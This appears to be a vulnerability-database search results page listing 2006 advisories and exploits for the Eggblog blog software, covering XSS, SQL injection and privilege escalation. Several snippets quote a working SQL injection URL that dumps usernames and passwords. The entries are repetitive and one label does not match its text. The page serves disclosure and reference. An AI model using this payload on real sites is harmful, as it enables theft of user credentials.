125 matches found
eggblog310.txt
""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ DigitaL Hacking TeaM eggblog=...
eggblog=> 3.1.0 Cross Site Scripting
""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ DigitaL Hacking TeaM eggblog=...
Eggblog 3.1 admin/users.php add Parameter XSS
Eggblog 3.1 admin/users.php add Parameter XSS. CVE-2006-6046. Webapps exploit for php platform source: http://www.securityfocus.com/bid/21134/info Eggblog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage...
Eggblog 3.1 admin/comments.php edit Parameter XSS
Eggblog 3.1 admin/comments.php edit Parameter XSS. CVE-2006-6046. Webapps exploit for php platform source: http://www.securityfocus.com/bid/21134/info Eggblog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may...
Eggblog 3.1 admin/articles.php edit Parameter XSS
Eggblog 3.1 admin/articles.php edit Parameter XSS. CVE-2006-6046. Webapps exploit for php platform source: http://www.securityfocus.com/bid/21134/info Eggblog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may...
Default credentials
home/register.php in Eggblog before 3.0 allows remote attackers to change the password of administrators and possibly other users via a modified username parameter...
CVE-2006-2725
SQL injection vulnerability in rss/posts.php in Eggblog before 3.07 allows remote attackers to execute arbitrary SQL commands via the id parameter...
CVE-2006-2727
home/register.php in Eggblog before 3.0 allows remote attackers to change the password of administrators and possibly other users via a modified username parameter...
Sql injection
SQL injection vulnerability in rss/posts.php in Eggblog before 3.07 allows remote attackers to execute arbitrary SQL commands via the id parameter...
CVE-2006-2727
home/register.php in Eggblog before 3.0 allows remote attackers to change the password of administrators and possibly other users via a modified username parameter...
CVE-2006-2725
SQL injection vulnerability in rss/posts.php in Eggblog before 3.07 allows remote attackers to execute arbitrary SQL commands via the id parameter...
CVE-2006-2727
The CVE-2006-2727 entry describes a vulnerability in Eggblog prior to version 3.0 where the home/register.php flow allows remote attackers to change the password of administrators (and possibly other users) by supplying a modified username parameter. Affected component: Eggblog web application, l...
CVE-2006-2725
Eggblog vulnerable to SQL injection in rss/posts.php (
CVE-2006-2727: Undefined Security Weakness
home/register.php in Eggblog before 3.0 allows remote attackers to change the password of administrators and possibly other users via a modified username parameter...
CVE-2006-2725: Undefined Security Weakness
SQL injection vulnerability in rss/posts.php in Eggblog before 3.07 allows remote attackers to execute arbitrary SQL commands via the id parameter...
Advisory: Eggblog <= 3.x Multiple Remote Vulnerabilities
--Security Report-- Advisory: Eggblog = 3.x Multiple Remote Vulnerabilities --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 06:15 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: Eggblog http://www.eggblog.net/ Version:...
EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation
http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection will list you all users and passwords. -- Eggblog 2.x Remote Privilege Escalation .xpl font-family:tahoma; font-size:11px; text-decoratio...
Eggblog < 3.07 Remote (SQL Injection / Privilege Escalation) Exploit
No description provided by source. !-- Eggblog = 3.x Multiple Remote Vulnerabilities Discovered by: nukedx Contacts: ICQ: 10072 MSN/Mail: [email protected] web: http://www.nukedx.com Original advisory can be found at: http://www.nukedx.com/?viewdoc=36 Eggblog = 3.0.6 rss/posts.php id Remote SQL...
EggBlog 3.07 - Remote SQL Injection Privilege Escalation
EggBlog 3.07 - Remote SQL Injection Privilege Escalation http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection will list you all users and passwords. -- Eggblog 2.x Remote Privilege Escalatio...
Eggblog < 3.07 Remote (SQL Injection / Privilege Escalation) Exploit
Exploit for unknown platform in category web applications ==================================================================== Eggblog http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection wi...